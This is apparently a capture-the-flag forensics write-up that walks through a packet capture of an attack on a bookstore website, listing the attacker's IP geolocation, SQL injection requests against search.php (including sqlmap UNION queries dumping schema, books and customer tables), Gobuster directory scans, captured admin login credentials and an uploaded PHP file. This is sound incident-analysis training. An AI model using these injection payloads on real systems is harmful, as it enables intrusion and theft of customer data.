



111.224.250.131



Hide this IP Address

Here are the results from a few Geolocation providers. Is the data shown below not accurate enough? Please read [geolocation accuracy](#) info to learn why.

Do you have a problem with IP location lookup? Report a [problem](#).

**Geolocation data from**

**IP2Location**

Product: DB6, 2025-7-15

 **IP ADDRESS:** 111.224.250.131

 **ISP:** ChinaNet Hebei Province Network

 **COUNTRY:** China 

 **ORGANIZATION:** Not available

 **REGION:** Hebei

 **LATITUDE:** 38.0416

 **CITY:** Shijiazhuang

 **LONGITUDE:** 114.4781

[Incorrect location?](#)

[Contact IP2Location](#)

 [view map](#)

5. We need the php page which gave the result of the php page which is the search.php which the attacker is always attempting to attack .

6.The first attempt of the sql injection was /search.php?search=book and 1=1; -- -

http.request.method=="GET"						
No.	Time	Source	Destination	Protocol	Length	Info
284	1341.714761	111.224.250.131	73.124.22.98	HTTP	454	GET /about.php HTTP/1.1
288	1341.742137	111.224.250.131	73.124.22.98	HTTP	366	GET /style.css HTTP/1.1
291	1346.248977	111.224.250.131	73.124.22.98	HTTP	464	GET /index.html HTTP/1.1
294	1350.162352	111.224.250.131	73.124.22.98	HTTP	466	GET /contact.php HTTP/1.1
303	1362.983947	111.224.250.131	73.124.22.98	HTTP	462	GET /faq.php HTTP/1.1
315	1382.007388	111.224.250.131	73.124.22.98	HTTP	482	GET /search.php?search=test+test HTTP/1.1
325	1392.184444	111.224.250.131	73.124.22.98	HTTP	493	GET /search.php?search=war HTTP/1.1
335	1399.504903	111.224.250.131	73.124.22.98	HTTP	488	GET /search.php?search=book HTTP/1.1
347	1450.030622	111.224.250.131	73.124.22.98	HTTP	433	GET /search.php?search=book%27 HTTP/1.1
357	1470.702710	111.224.250.131	73.124.22.98	HTTP	452	GET /search.php?search=book%20and%201=1;%20--%20- HTTP/1.1
368	1482.999647	111.224.250.131	73.124.22.98	HTTP	452	GET /search.php?search=book%20and%201=2;%20--%20- HTTP/1.1
379	1506.183639	111.224.250.131	73.124.22.98	HTTP	456	GET /search.php?search=test%E2%80%99%20OR%201=1;%20-- HTTP/1.1
389	1515.613333	111.224.250.131	73.124.22.98	HTTP	450	GET /search.php?search=%27%20or%201=1;%20--%20- HTTP/1.1
404	1626.980180	111.224.250.131	73.124.22.98	HTTP	501	GET /search.php?search=%27%20or%201=1;%20--%20- HTTP/1.1

7.The first attack URI where the attacker URI scanned the database webserver :

/search.php?search=book' UNION ALL SELECT

NULL,CONCAT(0x7178766271,JSON\_ARRAYAGG(CONCAT\_WS(0x7a76676a636b,schema\_name)),0x7176706a71) FROM INFORMATION\_SCHE  
MA.SCHEMATA-- -

Wireshark · Packet 468 · 3- example.pcap

```
▶ Frame 468: 332 bytes on wire (2656 bits), 332 bytes captured (2656 bits)
▶ Ethernet II, Src: VMware_c0:00:0a (00:50:56:c0:00:0a), Dst: VMware_6c:76:5f (00:0c:29:6c:76:5f)
▶ Internet Protocol Version 4, Src: 111.224.250.131, Dst: 73.124.22.98
▶ Transmission Control Protocol, Src Port: 49418, Dst Port: 80, Seq: 1, Ack: 1, Len: 266
▼ Hypertext Transfer Protocol
  GET /search.php?search=book%27%29%20AND%206166%3D6053%20AND%20%28%27uTui%27%3D%27uTui HTTP/1.1\r\n
  Request Method: GET
  Request URI: /search.php?search=book%27%29%20AND%206166%3D6053%20AND%20%28%27uTui%27%3D%27uTui
  Request URI Path: /search.php
  Request URI Query: search=book%27%29%20AND%206166%3D6053%20AND%20%28%27uTui%27%3D%27uTui
  Request Version: HTTP/1.1
  Cache-Control: no-cache\r\n
```

8. For the table name I decided to have a quick go through the streams, I suspected the SQL injection to work at the end so I started backwards, and therefore I got the table name but this is for the books.

```
Wireshark · Follow HTTP Stream (tcp.stream eq 166) · 3- example.pcap

GET /search.php?search=book%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7178766271%2CJSON_ARRAYAGG%28CONCAT_WS%280x7a76676a636b%20%29%29%2C0x7176706a71%29%20FROM%20bookworld_db.books--%20- HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.8.3#stable (https://sqlmap.org)
Host: bookworldstore.com
Accept: */*
Accept-Encoding: gzip,deflate
Connection: close

HTTP/1.1 200 OK
Date: Fri, 15 Mar 2024 12:09:56 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 484
Connection: close
Content-Type: text/html; charset=UTF-8

<p>qxbq["1zvgjckThe Great Gatsby", "2zvgjck1984", "3zvgjckTo Kill a Mockingbird", "4zvgjckLolita", "5zvgjckJane Eyre", "6zvgjckB
World", "7zvgjckWuthering Heights", "8zvgjckAnimal Farm", "9zvgjckLes Mis..rables", "10zvgjckSense and Sensibility", "11zvgjckAnn
a", "12zvgjckDracula", "13zvgjckMadame Bovary", "14zvgjckThe Picture of Dorian Gray", "15zvgjckA Tale of Two Cities", "16zvgjckFr
n", "17zvgjckHamlet", "18zvgjckThe Catcher in the Rye", "19zvgjckThe Hobbit", "20zvgjckCrime and Punishment", "21zvgjckGreat Expe
", "22zvgjckThe Adventures of Huckleberry Finn", "23zvgjckThe Lord of the Rings"]qvpjq</p><form action="search.php" method="get">
  <input type="text" name="search" placeholder="Search for books...">
  <input type="submit" value="Search">
</form>
```

9. so I performed this search using http and ctrl+f “bookworld\_db” and went through the finds

```
Wireshark · Follow HTTP Stream (tcp.stream eq 162) · 3- example.pcap

GET /search.php?search=book%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7178766271%2CJSON_ARRAYAGG%28CONCAT_WS%280x7a76676a636b%2Caddress%2Cemail%2Cfirst_name%2Cid%2Clast_name%2Cphone%29%29%2C0x717
20FROM%20bookworld_db.customers--%20- HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.8.3#stable (https://sqlmap.org)
Host: bookworldstore.com
Accept: */*
Accept-Encoding: gzip,deflate
Connection: close
```

10. Therefore it's bookworld\_db.customers

11. Through my searches the I found the attacker using GoBuster to find hidden directories.

```
Wireshark · Packet 1784 · 3- example.pcap

Frame 1784: 169 bytes on wire (1352 bits), 169 bytes captured (1352 bits)
Ethernet II, Src: VMware_c0:00:0a (00:50:56:c0:00:0a), Dst: VMware_6c:76:5f (00:0c:29:6c:76:5f)
Internet Protocol Version 4, Src: 111.224.250.131, Dst: 73.124.22.98
Transmission Control Protocol, Src Port: 60414, Dst Port: 80, Seq: 107, Ack: 442, Len: 103
Hypertext Transfer Protocol
  GET /.bashrc.js HTTP/1.1\r\n
    Request Method: GET
    Request URI: /.bashrc.js
    Request Version: HTTP/1.1
    Host: bookworldstore.com\r\n
    User-Agent: gobuster/3.6\r\n
    Accept-Encoding: gzip\r\n
    \r\n
  [Response in frame: 1792]
  [Full request URI: http://bookworldstore.com/.bashrc.js]
```

12. And if we scroll down below we can find the probable hidden directory from the public is the admin login and index page

88652	2016.511839	111.224.250.131	73.124.22.98	HTTP	414 GET /admin/ HTTP/1.1
88654	2016.519013	111.224.250.131	73.124.22.98	HTTP	469 GET /admin/login.php HTTP/1.1
88703	2294.310259	111.224.250.131	73.124.22.98	HTTP	521 GET /admin/index.php HTTP/1.1
88713	2349.596517	170.40.150.126	73.124.22.98	HTTP	551 GET / HTTP/1.1

13. Now for the credentials I followed the http packet 88703 stream to find the credentials

Username : admin , password : admin123!

Wireshark · Follow HTTP Stream (tcp.stream eq 647) · 3- example.pcap

```
POST /admin/login.php HTTP/1.1
Host: bookworldstore.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://bookworldstore.com
Connection: keep-alive
Referer: http://bookworldstore.com/admin/login.php
Cookie: PHPSESSID=ae7mvmmf2krhir4kngnmio680a
Upgrade-Insecure-Requests: 1

username=admin&password=admin123%21
```

14. Now on to the malicious script , I scrolled through the packet capture and found a suspicious script uploaded to admin uploads.

Wireshark · http.request.method == "GET"

No.	Time	Source	Destination	Protocol	Length	Info
88504	1984.823829	111.224.250.131	73.124.22.98	HTTP	167	GET /zorum.js HTTP/1.1
88505	1984.823848	111.224.250.131	73.124.22.98	HTTP	168	GET /zorum.php HTTP/1.1
88506	1984.823853	111.224.250.131	73.124.22.98	HTTP	164	GET /zorum HTTP/1.1
88523	1984.825187	111.224.250.131	73.124.22.98	HTTP	168	GET /zorum.cgi HTTP/1.1
88527	1984.825187	111.224.250.131	73.124.22.98	HTTP	168	GET /zorum.asp HTTP/1.1
88528	1984.825187	111.224.250.131	73.124.22.98	HTTP	165	GET /zt.bak HTTP/1.1
88530	1984.825187	111.224.250.131	73.124.22.98	HTTP	165	GET /zt.php HTTP/1.1
88531	1984.825187	111.224.250.131	73.124.22.98	HTTP	165	GET /zt.txt HTTP/1.1
88532	1984.825214	111.224.250.131	73.124.22.98	HTTP	161	GET /zt HTTP/1.1
88537	1984.825214	111.224.250.131	73.124.22.98	HTTP	166	GET /zt.html HTTP/1.1
88538	1984.825214	111.224.250.131	73.124.22.98	HTTP	165	GET /zt.cgi HTTP/1.1
88540	1984.825214	111.224.250.131	73.124.22.98	HTTP	165	GET /zt.axd HTTP/1.1
88541	1984.825214	111.224.250.131	73.124.22.98	HTTP	165	GET /zt.asp HTTP/1.1
88542	1984.825214	111.224.250.131	73.124.22.98	HTTP	164	GET /zt.js HTTP/1.1
88648	2016.503907	111.224.250.131	73.124.22.98	HTTP	413	GET /admin HTTP/1.1
88652	2016.511839	111.224.250.131	73.124.22.98	HTTP	414	GET /admin/ HTTP/1.1
88654	2016.519013	111.224.250.131	73.124.22.98	HTTP	469	GET /admin/login.php HTTP/1.1
88703	2294.310259	111.224.250.131	73.124.22.98	HTTP	521	GET /admin/index.php HTTP/1.1
88713	2349.596517	170.40.150.126	73.124.22.98	HTTP	551	GET / HTTP/1.1
88716	2349.621424	170.40.150.126	73.124.22.98	HTTP	492	GET /css/style.css HTTP/1.1
88726	2357.531251	170.40.150.126	73.124.22.98	HTTP	524	GET /search.php?search=spiderman HTTP/1.1
88730	2362.056157	170.40.150.126	73.124.22.98	HTTP	548	GET /search.php?search=batman HTTP/1.1
88767	2702.748788	111.224.250.131	73.124.22.98	HTTP	467	GET /admin/uploads HTTP/1.1
88771	2702.752129	111.224.250.131	73.124.22.98	HTTP	468	GET /admin/uploads/ HTTP/1.1
88773	2702.780837	111.224.250.131	73.124.22.98	HTTP	430	GET /icons/blank.gif HTTP/1.1
88779	2702.788455	111.224.250.131	73.124.22.98	HTTP	429	GET /icons/back.gif HTTP/1.1
88784	2702.792435	111.224.250.131	73.124.22.98	HTTP	432	GET /icons/unknown.gif HTTP/1.1
88790	2707.037635	111.224.250.131	73.124.22.98	HTTP	531	GET /admin/uploads/NVrs2vhp.php HTTP/1.1
88807	2760.932124	170.40.150.126	73.124.22.98	HTTP	524	GET /search.php?search=the+flash HTTP/1.1
88824	2824.069629	170.40.150.126	73.124.22.98	HTTP	555	GET /search.php?search=atomic+habits HTTP/1.1
88831	2827.010262	111.224.250.131	73.124.22.98	HTTP	473	GET /admin/uploads/ HTTP/1.1
88835	2827.024589	111.224.250.131	73.124.22.98	HTTP	435	GET /icons/blank.gif HTTP/1.1
88843	2827.025861	111.224.250.131	73.124.22.98	HTTP	434	GET /icons/back.gif HTTP/1.1
88844	2827.025861	111.224.250.131	73.124.22.98	HTTP	437	GET /icons/unknown.gif HTTP/1.1